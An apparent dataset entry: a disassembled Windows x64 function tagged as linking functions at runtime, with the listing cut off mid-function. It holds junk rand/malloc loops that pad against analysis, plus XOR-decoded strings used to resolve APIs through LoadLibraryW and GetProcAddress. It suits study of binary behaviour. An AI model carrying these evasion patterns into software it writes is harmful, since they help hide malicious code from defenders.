Function at 0x140043430
Capabilities:
Link many functions at runtime

Disassembly:
mov eax, 0x1758
call fcn.140059320
sub rsp, rax
mov dword [rsp + 0x1664], 0
mov qword [rsp + 0x1658], rcx
mov qword [rsp + 0x1650], rdx
mov qword [rsp + 0x1648], r8
mov dword [rsp + 0x1644], r9d
mov dword [rsp + 0x1640], 0x3702
mov dword [rsp + 0x163c], 0
cmp dword [rsp + 0x163c], 0x40c
jge 0x140043550
mov ecx, 0x262f0
call fcn.140071d00
mov qword [rsp + 0x1630], rax
mov dword [rsp + 0x162c], 0
cmp dword [rsp + 0x162c], 0x17c
jge 0x14004350e
call sub.msvcrt.dll_rand
mov ecx, 0x161f
cdq
idiv ecx
mov rax, qword [rsp + 0x1630]
movsxd rcx, dword [rsp + 0x162c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x1db0
cdq
idiv ecx
add edx, dword [rsp + 0x1640]
mov dword [rsp + 0x1640], edx
mov eax, dword [rsp + 0x162c]
add eax, 1
mov dword [rsp + 0x162c], eax
jmp 0x1400434ac
mov rax, qword [rsp + 0x1630]
mov qword [rsp + 0x5f0], rax
cmp rax, 0
je 0x140043535
mov rcx, qword [rsp + 0x5f0]
call fcn.140071ce0
jmp 0x14004353a
mov eax, dword [rsp + 0x163c]
add eax, 1
mov dword [rsp + 0x163c], eax
jmp 0x14004347e
mov dword [rsp + 0x1628], 0x51a1
mov dword [rsp + 0x1624], 0
cmp dword [rsp + 0x1624], 0x42b
jge 0x140043638
mov ecx, 0x1f6f8
call fcn.140071d00
mov qword [rsp + 0x1618], rax
mov dword [rsp + 0x1614], 0
cmp dword [rsp + 0x1614], 0xd7
jge 0x1400435f6
call sub.msvcrt.dll_rand
mov ecx, 0x1fd4
cdq
idiv ecx
mov rax, qword [rsp + 0x1618]
movsxd rcx, dword [rsp + 0x1614]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3296
cdq
idiv ecx
add edx, dword [rsp + 0x1628]
mov dword [rsp + 0x1628], edx
mov eax, dword [rsp + 0x1614]
add eax, 1
mov dword [rsp + 0x1614], eax
jmp 0x140043594
mov rax, qword [rsp + 0x1618]
mov qword [rsp + 0x5e8], rax
cmp rax, 0
je 0x14004361d
mov rcx, qword [rsp + 0x5e8]
call fcn.140071ce0
jmp 0x140043622
mov eax, dword [rsp + 0x1624]
add eax, 1
mov dword [rsp + 0x1624], eax
jmp 0x140043566
mov dword [rsp + 0x1610], 0xeeb
mov dword [rsp + 0x160c], 0
cmp dword [rsp + 0x160c], 0x5c0
jge 0x140043720
mov ecx, 0x12b68
call fcn.140071d00
mov qword [rsp + 0x1600], rax
mov dword [rsp + 0x15fc], 0
cmp dword [rsp + 0x15fc], 0x17a
jge 0x1400436de
call sub.msvcrt.dll_rand
mov ecx, 0x2b7a
cdq
idiv ecx
mov rax, qword [rsp + 0x1600]
movsxd rcx, dword [rsp + 0x15fc]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2d25
cdq
idiv ecx
add edx, dword [rsp + 0x1610]
mov dword [rsp + 0x1610], edx
mov eax, dword [rsp + 0x15fc]
add eax, 1
mov dword [rsp + 0x15fc], eax
jmp 0x14004367c
mov rax, qword [rsp + 0x1600]
mov qword [rsp + 0x5e0], rax
cmp rax, 0
je 0x140043705
mov rcx, qword [rsp + 0x5e0]
call fcn.140071ce0
jmp 0x14004370a
mov eax, dword [rsp + 0x160c]
add eax, 1
mov dword [rsp + 0x160c], eax
jmp 0x14004364e
mov dword [rsp + 0x15f8], 0xa4c
mov dword [rsp + 0x15f4], 0
cmp dword [rsp + 0x15f4], 0x6ad
jge 0x140043808
mov ecx, 0x23b14
call fcn.140071d00
mov qword [rsp + 0x15e8], rax
mov dword [rsp + 0x15e4], 0
cmp dword [rsp + 0x15e4], 0xcf
jge 0x1400437c6
call sub.msvcrt.dll_rand
mov ecx, 0x2f93
cdq
idiv ecx
mov rax, qword [rsp + 0x15e8]
movsxd rcx, dword [rsp + 0x15e4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x1b48
cdq
idiv ecx
add edx, dword [rsp + 0x15f8]
mov dword [rsp + 0x15f8], edx
mov eax, dword [rsp + 0x15e4]
add eax, 1
mov dword [rsp + 0x15e4], eax
jmp 0x140043764
mov rax, qword [rsp + 0x15e8]
mov qword [rsp + 0x5d8], rax
cmp rax, 0
je 0x1400437ed
mov rcx, qword [rsp + 0x5d8]
call fcn.140071ce0
jmp 0x1400437f2
mov eax, dword [rsp + 0x15f4]
add eax, 1
mov dword [rsp + 0x15f4], eax
jmp 0x140043736
mov dword [rsp + 0x15e0], 0x31e3
mov dword [rsp + 0x15dc], 0
cmp dword [rsp + 0x15dc], 0x65c
jge 0x1400438f0
mov ecx, 0x1e8e8
call fcn.140071d00
mov qword [rsp + 0x15d0], rax
mov dword [rsp + 0x15cc], 0
cmp dword [rsp + 0x15cc], 0xab
jge 0x1400438ae
call sub.msvcrt.dll_rand
mov ecx, 0x1397
cdq
idiv ecx
mov rax, qword [rsp + 0x15d0]
movsxd rcx, dword [rsp + 0x15cc]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3980
cdq
idiv ecx
add edx, dword [rsp + 0x15e0]
mov dword [rsp + 0x15e0], edx
mov eax, dword [rsp + 0x15cc]
add eax, 1
mov dword [rsp + 0x15cc], eax
jmp 0x14004384c
mov rax, qword [rsp + 0x15d0]
mov qword [rsp + 0x5d0], rax
cmp rax, 0
je 0x1400438d5
mov rcx, qword [rsp + 0x5d0]
call fcn.140071ce0
jmp 0x1400438da
mov eax, dword [rsp + 0x15dc]
add eax, 1
mov dword [rsp + 0x15dc], eax
jmp 0x14004381e
mov dword [rsp + 0x15c8], 0x513e
mov dword [rsp + 0x15c4], 0
cmp dword [rsp + 0x15c4], 0x521
jge 0x1400439d8
mov ecx, 0xc464
call fcn.140071d00
mov qword [rsp + 0x15b8], rax
mov dword [rsp + 0x15b4], 0
cmp dword [rsp + 0x15b4], 0x185
jge 0x140043996
call sub.msvcrt.dll_rand
mov ecx, 0x13ce
cdq
idiv ecx
mov rax, qword [rsp + 0x15b8]
movsxd rcx, dword [rsp + 0x15b4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x377d
cdq
idiv ecx
add edx, dword [rsp + 0x15c8]
mov dword [rsp + 0x15c8], edx
mov eax, dword [rsp + 0x15b4]
add eax, 1
mov dword [rsp + 0x15b4], eax
jmp 0x140043934
mov rax, qword [rsp + 0x15b8]
mov qword [rsp + 0x5c8], rax
cmp rax, 0
je 0x1400439bd
mov rcx, qword [rsp + 0x5c8]
call fcn.140071ce0
jmp 0x1400439c2
mov eax, dword [rsp + 0x15c4]
add eax, 1
mov dword [rsp + 0x15c4], eax
jmp 0x140043906
mov dword [rsp + 0x15b0], 0x1c68
mov dword [rsp + 0x15ac], 0
cmp dword [rsp + 0x15ac], 0x4e5
jge 0x140043ac0
mov ecx, 0xe2c8
call fcn.140071d00
mov qword [rsp + 0x15a0], rax
mov dword [rsp + 0x159c], 0
cmp dword [rsp + 0x159c], 0x17c
jge 0x140043a7e
call sub.msvcrt.dll_rand
mov ecx, 0x1c97
cdq
idiv ecx
mov rax, qword [rsp + 0x15a0]
movsxd rcx, dword [rsp + 0x159c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x29e1
cdq
idiv ecx
add edx, dword [rsp + 0x15b0]
mov dword [rsp + 0x15b0], edx
mov eax, dword [rsp + 0x159c]
add eax, 1
mov dword [rsp + 0x159c], eax
jmp 0x140043a1c
mov rax, qword [rsp + 0x15a0]
mov qword [rsp + 0x5c0], rax
cmp rax, 0
je 0x140043aa5
mov rcx, qword [rsp + 0x5c0]
call fcn.140071ce0
jmp 0x140043aaa
mov eax, dword [rsp + 0x15ac]
add eax, 1
mov dword [rsp + 0x15ac], eax
jmp 0x1400439ee
mov dword [rsp + 0x1598], 0x1e5d
mov dword [rsp + 0x1594], 0
cmp dword [rsp + 0x1594], 0x708
jge 0x140043ba8
mov ecx, 0x24494
call fcn.140071d00
mov qword [rsp + 0x1588], rax
mov dword [rsp + 0x1584], 0
cmp dword [rsp + 0x1584], 0x92
jge 0x140043b66
call sub.msvcrt.dll_rand
mov ecx, 0x259e
cdq
idiv ecx
mov rax, qword [rsp + 0x1588]
movsxd rcx, dword [rsp + 0x1584]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2227
cdq
idiv ecx
add edx, dword [rsp + 0x1598]
mov dword [rsp + 0x1598], edx
mov eax, dword [rsp + 0x1584]
add eax, 1
mov dword [rsp + 0x1584], eax
jmp 0x140043b04
mov rax, qword [rsp + 0x1588]
mov qword [rsp + 0x5b8], rax
cmp rax, 0
je 0x140043b8d
mov rcx, qword [rsp + 0x5b8]
call fcn.140071ce0
jmp 0x140043b92
mov eax, dword [rsp + 0x1594]
add eax, 1
mov dword [rsp + 0x1594], eax
jmp 0x140043ad6
mov dword [rsp + 0x1580], 0x1e07
mov dword [rsp + 0x157c], 0
cmp dword [rsp + 0x157c], 0x719
jge 0x140043c90
mov ecx, 0x140dc
call fcn.140071d00
mov qword [rsp + 0x1570], rax
mov dword [rsp + 0x156c], 0
cmp dword [rsp + 0x156c], 0x16d
jge 0x140043c4e
call sub.msvcrt.dll_rand
mov ecx, 0x2a76
cdq
idiv ecx
mov rax, qword [rsp + 0x1570]
movsxd rcx, dword [rsp + 0x156c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x193f
cdq
idiv ecx
add edx, dword [rsp + 0x1580]
mov dword [rsp + 0x1580], edx
mov eax, dword [rsp + 0x156c]
add eax, 1
mov dword [rsp + 0x156c], eax
jmp 0x140043bec
mov rax, qword [rsp + 0x1570]
mov qword [rsp + 0x5b0], rax
cmp rax, 0
je 0x140043c75
mov rcx, qword [rsp + 0x5b0]
call fcn.140071ce0
jmp 0x140043c7a
mov eax, dword [rsp + 0x157c]
add eax, 1
mov dword [rsp + 0x157c], eax
jmp 0x140043bbe
mov dword [rsp + 0x1568], 0x123b
mov dword [rsp + 0x1564], 0
cmp dword [rsp + 0x1564], 0x639
jge 0x140043d78
mov ecx, 0x12aec
call fcn.140071d00
mov qword [rsp + 0x1558], rax
mov dword [rsp + 0x1554], 0
cmp dword [rsp + 0x1554], 0x185
jge 0x140043d36
call sub.msvcrt.dll_rand
mov ecx, 0x1748
cdq
idiv ecx
mov rax, qword [rsp + 0x1558]
movsxd rcx, dword [rsp + 0x1554]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2524
cdq
idiv ecx
add edx, dword [rsp + 0x1568]
mov dword [rsp + 0x1568], edx
mov eax, dword [rsp + 0x1554]
add eax, 1
mov dword [rsp + 0x1554], eax
jmp 0x140043cd4
mov rax, qword [rsp + 0x1558]
mov qword [rsp + 0x5a8], rax
cmp rax, 0
je 0x140043d5d
mov rcx, qword [rsp + 0x5a8]
call fcn.140071ce0
jmp 0x140043d62
mov eax, dword [rsp + 0x1564]
add eax, 1
mov dword [rsp + 0x1564], eax
jmp 0x140043ca6
movss xmm0, dword [0x14009b3cc]
movss dword [rsp + 0x1550], xmm0
movss xmm0, dword [0x14009b3c8]
movss dword [rsp + 0x1550], xmm0
movss xmm0, dword [rsp + 0x1550]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x14009b3c0]
ucomisd xmm0, xmm1
jne 0x140043ed6
jp 0x140043ed6
mov dword [rsp + 0x154c], 0
cmp dword [rsp + 0x154c], 0x1431
jge 0x140043eb4
mov ecx, 0x1e3bc
call fcn.140071d00
mov qword [rsp + 0x1540], rax
mov dword [rsp + 0x153c], 0
cmp dword [rsp + 0x153c], 0x242
jge 0x140043e72
call sub.msvcrt.dll_rand
mov ecx, 0x1b69
cdq
idiv ecx
mov rax, qword [rsp + 0x1540]
movsxd rcx, dword [rsp + 0x153c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x14009b8a8]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0x1550]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0x1550], xmm0
mov eax, dword [rsp + 0x153c]
add eax, 1
mov dword [rsp + 0x153c], eax
jmp 0x140043df8
mov rax, qword [rsp + 0x1540]
mov qword [rsp + 0x5a0], rax
cmp rax, 0
je 0x140043e99
mov rcx, qword [rsp + 0x5a0]
call fcn.140071ce0
jmp 0x140043e9e
mov eax, dword [rsp + 0x154c]
add eax, 1
mov dword [rsp + 0x154c], eax
jmp 0x140043dca
movss xmm0, dword [0x14009b3d4]
movss dword [rsp + 0x1550], xmm0
movss xmm0, dword [0x14009b3d0]
movss dword [rsp + 0x1550], xmm0
movss xmm0, dword [rsp + 0x1550]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x14009b3d8]
ucomisd xmm0, xmm1
jne 0x140044012
jp 0x140044012
mov dword [rsp + 0x1538], 0
cmp dword [rsp + 0x1538], 0x1036
jge 0x140043ff0
mov ecx, 0xc748
call fcn.140071d00
mov qword [rsp + 0x1530], rax
mov dword [rsp + 0x152c], 0
cmp dword [rsp + 0x152c], 0x2a7
jge 0x140043fae
call sub.msvcrt.dll_rand
mov ecx, 0x1db0
cdq
idiv ecx
mov rax, qword [rsp + 0x1530]
movsxd rcx, dword [rsp + 0x152c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x14009b8a0]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0x1550]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0x1550], xmm0
mov eax, dword [rsp + 0x152c]
add eax, 1
mov dword [rsp + 0x152c], eax
jmp 0x140043f34
mov rax, qword [rsp + 0x1530]
mov qword [rsp + 0x598], rax
cmp rax, 0
je 0x140043fd5
mov rcx, qword [rsp + 0x598]
call fcn.140071ce0
jmp 0x140043fda
mov eax, dword [rsp + 0x1538]
add eax, 1
mov dword [rsp + 0x1538], eax
jmp 0x140043f06
movss xmm0, dword [0x14009b3e4]
movss dword [rsp + 0x1550], xmm0
movss xmm0, dword [0x14009b3e0]
movss dword [rsp + 0x1550], xmm0
lea rcx, [rsp + 0x1508]
lea rdx, [rsp + 0x1500]
call fcn.14004e770
lea rax, [rsp + 0x1508]
mov qword [rsp + 0x16a0], rax
mov rax, qword [rsp + 0x16a0]
mov qword [rsp + 0x588], rax
mov qword [rsp + 0x1708], rax
mov rax, qword [rsp + 0x1708]
mov qword [rsp + 0x590], rax
mov qword [rsp + 0x1720], rax
mov rax, qword [rsp + 0x1720]
movzx eax, word [rax + 0x14]
cmp eax, 0
je 0x140044119
mov rax, qword [rsp + 0x590]
mov qword [rsp + 0x1750], rax
mov qword [rsp + 0x1748], rax
mov rax, qword [rsp + 0x1750]
mov qword [rsp + 0x580], rax
mov dword [rsp + 0x1744], 0
cmp dword [rsp + 0x1744], 0xb
jge 0x140044114
mov rax, qword [rsp + 0x1748]
movsxd rcx, dword [rsp + 0x1744]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0x1744]
mov r8d, 0x34
cdq
idiv r8d
mov rax, qword [rsp + 0x580]
add edx, 0x32
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0x1744]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0x1744]
add eax, 1
mov dword [rsp + 0x1744], eax
jmp 0x1400440af
jmp 0x140044119
mov rcx, qword [rsp + 0x588]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.PostThreadMessageW
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x1520], rax
mov dword [rsp + 0x14fc], 0x60d3
mov dword [rsp + 0x14f8], 0
cmp dword [rsp + 0x14f8], 0x715
jge 0x140044227
mov ecx, 0x12468
call fcn.140071d00
mov qword [rsp + 0x14f0], rax
mov dword [rsp + 0x14ec], 0
cmp dword [rsp + 0x14ec], 0x1eb
jge 0x1400441e5
call sub.msvcrt.dll_rand
mov ecx, 0x32ea
cdq
idiv ecx
mov rax, qword [rsp + 0x14f0]
movsxd rcx, dword [rsp + 0x14ec]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x338c
cdq
idiv ecx
add edx, dword [rsp + 0x14fc]
mov dword [rsp + 0x14fc], edx
mov eax, dword [rsp + 0x14ec]
add eax, 1
mov dword [rsp + 0x14ec], eax
jmp 0x140044183
mov rax, qword [rsp + 0x14f0]
mov qword [rsp + 0x578], rax
cmp rax, 0
je 0x14004420c
mov rcx, qword [rsp + 0x578]
call fcn.140071ce0
jmp 0x140044211
mov eax, dword [rsp + 0x14f8]
add eax, 1
mov dword [rsp + 0x14f8], eax
jmp 0x140044155
mov dword [rsp + 0x14e8], 0x69fd
mov dword [rsp + 0x14e4], 0
cmp dword [rsp + 0x14e4], 0x428
jge 0x14004430f
mov ecx, 0x17cf4
call fcn.140071d00
mov qword [rsp + 0x14d8], rax
mov dword [rsp + 0x14d4], 0
cmp dword [rsp + 0x14d4], 0x102
jge 0x1400442cd
call sub.msvcrt.dll_rand
mov ecx, 0x249b
cdq
idiv ecx
mov rax, qword [rsp + 0x14d8]
movsxd rcx, dword [rsp + 0x14d4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x1a0c
cdq
idiv ecx
add edx, dword [rsp + 0x14e8]
mov dword [rsp + 0x14e8], edx
mov eax, dword [rsp + 0x14d4]
add eax, 1
mov dword [rsp + 0x14d4], eax
jmp 0x14004426b
mov rax, qword [rsp + 0x14d8]
mov qword [rsp + 0x570], rax
cmp rax, 0
je 0x1400442f4
mov rcx, qword [rsp + 0x570]
call fcn.140071ce0
jmp 0x1400442f9
mov eax, dword [rsp + 0x14e4]
add eax, 1
mov dword [rsp + 0x14e4], eax
jmp 0x14004423d
mov dword [rsp + 0x14d0], 0x1aad
mov dword [rsp + 0x14cc], 0
cmp dword [rsp + 0x14cc], 0x7c1
jge 0x1400443f7
mov ecx, 0xc140
call fcn.140071d00
mov qword [rsp + 0x14c0], rax
mov dword [rsp + 0x14bc], 0
cmp dword [rsp + 0x14bc], 0x13e
jge 0x1400443b5
call sub.msvcrt.dll_rand
mov ecx, 0x2831
cdq
idiv ecx
mov rax, qword [rsp + 0x14c0]
movsxd rcx, dword [rsp + 0x14bc]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2c56
cdq
idiv ecx
add edx, dword [rsp + 0x14d0]
mov dword [rsp + 0x14d0], edx
mov eax, dword [rsp + 0x14bc]
add eax, 1
mov dword [rsp + 0x14bc], eax
jmp 0x140044353
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x568], rax
cmp rax, 0
je 0x1400443dc
mov rcx, qword [rsp + 0x568]
call fcn.140071ce0
jmp 0x1400443e1
mov eax, dword [rsp + 0x14cc]
add eax, 1
mov dword [rsp + 0x14cc], eax
jmp 0x140044325
mov dword [rsp + 0x14b8], 0x60ad
mov dword [rsp + 0x14b4], 0
cmp dword [rsp + 0x14b4], 0x4a6
jge 0x1400444df
mov ecx, 0x11888
call fcn.140071d00
mov qword [rsp + 0x14a8], rax
mov dword [rsp + 0x14a4], 0
cmp dword [rsp + 0x14a4], 0xb4
jge 0x14004449d
call sub.msvcrt.dll_rand
mov ecx, 0x2bcf
cdq
idiv ecx
mov rax, qword [rsp + 0x14a8]
movsxd rcx, dword [rsp + 0x14a4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x37b9
cdq
idiv ecx
add edx, dword [rsp + 0x14b8]
mov dword [rsp + 0x14b8], edx
mov eax, dword [rsp + 0x14a4]
add eax, 1
mov dword [rsp + 0x14a4], eax
jmp 0x14004443b
mov rax, qword [rsp + 0x14a8]
mov qword [rsp + 0x560], rax
cmp rax, 0
je 0x1400444c4
mov rcx, qword [rsp + 0x560]
call fcn.140071ce0
jmp 0x1400444c9
mov eax, dword [rsp + 0x14b4]
add eax, 1
mov dword [rsp + 0x14b4], eax
jmp 0x14004440d
mov dword [rsp + 0x14a0], 0x6b04
mov dword [rsp + 0x149c], 0
cmp dword [rsp + 0x149c], 0x604
jge 0x1400445c7
mov ecx, 0x19310
call fcn.140071d00
mov qword [rsp + 0x1490], rax
mov dword [rsp + 0x148c], 0
cmp dword [rsp + 0x148c], 0x112
jge 0x140044585
call sub.msvcrt.dll_rand
mov ecx, 0x1ad4
cdq
idiv ecx
mov rax, qword [rsp + 0x1490]
movsxd rcx, dword [rsp + 0x148c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2248
cdq
idiv ecx
add edx, dword [rsp + 0x14a0]
mov dword [rsp + 0x14a0], edx
mov eax, dword [rsp + 0x148c]
add eax, 1
mov dword [rsp + 0x148c], eax
jmp 0x140044523
mov rax, qword [rsp + 0x1490]
mov qword [rsp + 0x558], rax
cmp rax, 0
je 0x1400445ac
mov rcx, qword [rsp + 0x558]
call fcn.140071ce0
jmp 0x1400445b1
mov eax, dword [rsp + 0x149c]
add eax, 1
mov dword [rsp + 0x149c], eax
jmp 0x1400444f5
mov dword [rsp + 0x1488], 0x4e1a
mov dword [rsp + 0x1484], 0
cmp dword [rsp + 0x1484], 0x73d
jge 0x1400446af
mov ecx, 0x13e58
call fcn.140071d00
mov qword [rsp + 0x1478], rax
mov dword [rsp + 0x1474], 0
cmp dword [rsp + 0x1474], 0x1da
jge 0x14004466d
call sub.msvcrt.dll_rand
mov ecx, 0x32fa
cdq
idiv ecx
mov rax, qword [rsp + 0x1478]
movsxd rcx, dword [rsp + 0x1474]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x1cc4
cdq
idiv ecx
add edx, dword [rsp + 0x1488]
mov dword [rsp + 0x1488], edx
mov eax, dword [rsp + 0x1474]
add eax, 1
mov dword [rsp + 0x1474], eax
jmp 0x14004460b
mov rax, qword [rsp + 0x1478]
mov qword [rsp + 0x550], rax
cmp rax, 0
je 0x140044694
mov rcx, qword [rsp + 0x550]
call fcn.140071ce0
jmp 0x140044699
mov eax, dword [rsp + 0x1484]
add eax, 1
mov dword [rsp + 0x1484], eax
jmp 0x1400445dd
mov dword [rsp + 0x1470], 0x459a
mov dword [rsp + 0x146c], 0
cmp dword [rsp + 0x146c], 0x747
jge 0x140044797
mov ecx, 0x1f774
call fcn.140071d00
mov qword [rsp + 0x1460], rax
mov dword [rsp + 0x145c], 0
cmp dword [rsp + 0x145c], 0x1a6
jge 0x140044755
call sub.msvcrt.dll_rand
mov ecx, 0x3759
cdq
idiv ecx
mov rax, qword [rsp + 0x1460]
movsxd rcx, dword [rsp + 0x145c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x31ab
cdq
idiv ecx
add edx, dword [rsp + 0x1470]
mov dword [rsp + 0x1470], edx
mov eax, dword [rsp + 0x145c]
add eax, 1
mov dword [rsp + 0x145c], eax
jmp 0x1400446f3
mov rax, qword [rsp + 0x1460]
mov qword [rsp + 0x548], rax
cmp rax, 0
je 0x14004477c
mov rcx, qword [rsp + 0x548]
call fcn.140071ce0
jmp 0x140044781
mov eax, dword [rsp + 0x146c]
add eax, 1
mov dword [rsp + 0x146c], eax
jmp 0x1400446c5
lea rcx, [rsp + 0x1430]
lea rdx, [rsp + 0x1428]
call fcn.14004e7b0
lea rax, [rsp + 0x1430]
mov qword [rsp + 0x1688], rax
mov rax, qword [rsp + 0x1688]
mov qword [rsp + 0x538], rax
mov qword [rsp + 0x1690], rax
mov rax, qword [rsp + 0x1690]
mov qword [rsp + 0x540], rax
mov qword [rsp + 0x16a8], rax
mov rax, qword [rsp + 0x16a8]
movzx eax, word [rax + 0x18]
cmp eax, 0
je 0x14004489e
mov rax, qword [rsp + 0x540]
mov qword [rsp + 0x16d0], rax
mov qword [rsp + 0x16c8], rax
mov rax, qword [rsp + 0x16d0]
mov qword [rsp + 0x530], rax
mov dword [rsp + 0x16c4], 0
cmp dword [rsp + 0x16c4], 0xd
jge 0x140044899
mov rax, qword [rsp + 0x16c8]
movsxd rcx, dword [rsp + 0x16c4]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0x16c4]
mov r8d, 0x34
cdq
idiv r8d
mov rax, qword [rsp + 0x530]
add edx, 0x32
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0x16c4]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0x16c4]
add eax, 1
mov dword [rsp + 0x16c4], eax
jmp 0x140044834
jmp 0x14004489e
mov rcx, qword [rsp + 0x538]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.GetCurrentThreadId
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x1450], rax
mov dword [rsp + 0x1424], 0x53d4
mov dword [rsp + 0x1420], 0
cmp dword [rsp + 0x1420], 0x7c0
jge 0x1400449ac
mov ecx, 0x18120
call fcn.140071d00
mov qword [rsp + 0x1418], rax
mov dword [rsp + 0x1414], 0
cmp dword [rsp + 0x1414], 0xd8
jge 0x14004496a
call sub.msvcrt.dll_rand
mov ecx, 0x25c3
cdq
idiv ecx
mov rax, qword [rsp + 0x1418]
movsxd rcx, dword [rsp + 0x1414]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x198a
cdq
idiv ecx
add edx, dword [rsp + 0x1424]
mov dword [rsp + 0x1424], edx
mov eax, dword [rsp + 0x1414]
add eax, 1
mov dword [rsp + 0x1414], eax
jmp 0x140044908
mov rax, qword [rsp + 0x1418]
mov qword [rsp + 0x528], rax
cmp rax, 0
je 0x140044991
mov rcx, qword [rsp + 0x528]
call fcn.140071ce0
jmp 0x140044996
mov eax, dword [rsp + 0x1420]
add eax, 1
mov dword [rsp + 0x1420], eax
jmp 0x1400448da
mov dword [rsp + 0x1410], 0x15a4
mov dword [rsp + 0x140c], 0
cmp dword [rsp + 0x140c], 0x536
jge 0x140044a94
mov ecx, 0x1c87c
call fcn.140071d00
mov qword [rsp + 0x1400], rax
mov dword [rsp + 0x13fc], 0
cmp dword [rsp + 0x13fc], 0xe8
jge 0x140044a52
call sub.msvcrt.dll_rand
mov ecx, 0x16b4
cdq
idiv ecx
mov rax, qword [rsp + 0x1400]
movsxd rcx, dword [rsp + 0x13fc]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x26ac
cdq
idiv ecx
add edx, dword [rsp + 0x1410]
mov dword [rsp + 0x1410], edx
mov eax, dword [rsp + 0x13fc]
add eax, 1
mov dword [rsp + 0x13fc], eax
jmp 0x1400449f0
mov rax, qword [rsp + 0x1400]
mov qword [rsp + 0x520], rax
cmp rax, 0
je 0x140044a79
mov rcx, qword [rsp + 0x520]
call fcn.140071ce0
jmp 0x140044a7e
mov eax, dword [rsp + 0x140c]
add eax, 1
mov dword [rsp + 0x140c], eax
jmp 0x1400449c2
mov dword [rsp + 0x13f8], 0x5389
mov dword [rsp + 0x13f4], 0
cmp dword [rsp + 0x13f4], 0x7b9
jge 0x140044b79
mov ecx, 0x1a548
call fcn.140071d00
mov qword [rsp + 0x13e8], rax
mov dword [rsp + 0x13e4], 0
cmp dword [rsp + 0x13e4], 0x6e
jge 0x140044b37
call sub.msvcrt.dll_rand
mov ecx, 0x30f8
cdq
idiv ecx
mov rax, qword [rsp + 0x13e8]
movsxd rcx, dword [rsp + 0x13e4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x23a8
cdq
idiv ecx
add edx, dword [rsp + 0x13f8]
mov dword [rsp + 0x13f8], edx
mov eax, dword [rsp + 0x13e4]
add eax, 1
mov dword [rsp + 0x13e4], eax
jmp 0x140044ad8
mov rax, qword [rsp + 0x13e8]
mov qword [rsp + 0x518], rax
cmp rax, 0
je 0x140044b5e
mov rcx, qword [rsp + 0x518]
call fcn.140071ce0
jmp 0x140044b63
mov eax, dword [rsp + 0x13f4]
add eax, 1
mov dword [rsp + 0x13f4], eax
jmp 0x140044aaa
mov dword [rsp + 0x13e0], 0x127a
mov dword [rsp + 0x13dc], 0
cmp dword [rsp + 0x13dc], 0x720
jge 0x140044c61
mov ecx, 0x169b8
call fcn.140071d00
mov qword [rsp + 0x13d0], rax
mov dword [rsp + 0x13cc], 0
cmp dword [rsp + 0x13cc], 0x165
jge 0x140044c1f
call sub.msvcrt.dll_rand
mov ecx, 0x2280
cdq
idiv ecx
mov rax, qword [rsp + 0x13d0]
movsxd rcx, dword [rsp + 0x13cc]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2d4d
cdq
idiv ecx
add edx, dword [rsp + 0x13e0]
mov dword [rsp + 0x13e0], edx
mov eax, dword [rsp + 0x13cc]
add eax, 1
mov dword [rsp + 0x13cc], eax
jmp 0x140044bbd
mov rax, qword [rsp + 0x13d0]
mov qword [rsp + 0x510], rax
cmp rax, 0
je 0x140044c46
mov rcx, qword [rsp + 0x510]
call fcn.140071ce0
jmp 0x140044c4b
mov eax, dword [rsp + 0x13dc]
add eax, 1
mov dword [rsp + 0x13dc], eax
jmp 0x140044b8f
mov dword [rsp + 0x13c8], 0x1509
mov dword [rsp + 0x13c4], 0
cmp dword [rsp + 0x13c4], 0x3fb
jge 0x140044d49
mov ecx, 0x1be98
call fcn.140071d00
